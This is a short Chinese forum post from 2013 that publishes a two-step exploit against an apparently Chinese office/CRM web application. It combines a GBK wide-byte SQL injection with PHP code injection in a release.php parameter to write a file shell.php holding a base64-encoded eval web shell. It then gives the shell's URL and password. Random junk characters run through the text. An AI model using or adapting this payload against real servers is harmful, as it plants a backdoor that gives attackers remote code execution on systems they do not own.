此程序通篇的gbk编码是他的硬伤, 基本上80%的SQL语句都能控制, 但是由于在进入数据库的时候检测了select和union, 而且此程序加密方式也很蛋疼, 所以注入方面就不考虑了./ L% [7 B5 q' v; R' P/ x/ c' z" X
3 F! e5 {5 V1 M
" E2 \5 q' m9 E$ F
EXP：. H8 K$ h$ v! m* y4 N$ I
: O/ M* D. I# o4 g) A2 l第一步: [GET]http://site/general/crm/studio/modules/EntityRelease/release.php?entity_name=1%d5'%20or%20sys_function.FUNC_ID=1%23%20${%20fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}
$ V0 i! F% v4 r # x1 R0 }3 @- S2 s
第二步: [GET]http://site/general/email/index.php- ]- J6 Z; G1 i0 F' }
. B5 P+ w3 w+ \! N# _& p5 ?SHELL: http://site/general/email/shell.php 密码C
0 _- A- _( s B: u0 V) ? 7 |1 M5 `- d( t! C3 V4 O1 ?
( _; e$ v# {& E8 B! w此程序写的非常乱, 不知道是因为解密后的原因还是程序员本身就这样写的, 还有几处不需要登录的通杀getshell, 这里就不发了, 危害大了不好
. h) r* f/ n+ _2 n! ?3 H
( h( c; t) y. i' |) U% I. F5 s有心的同学可以自己读读, 很容易就发现的 o(∩_∩)o ~~0 e( M; H$ U9 |, G. F( h F6 _. T
' b( J3 A. Y7 M3 u8 q% p6 n* }8 r( B
|
发表于 2013-2-4 16:19:29
收藏
支持
反对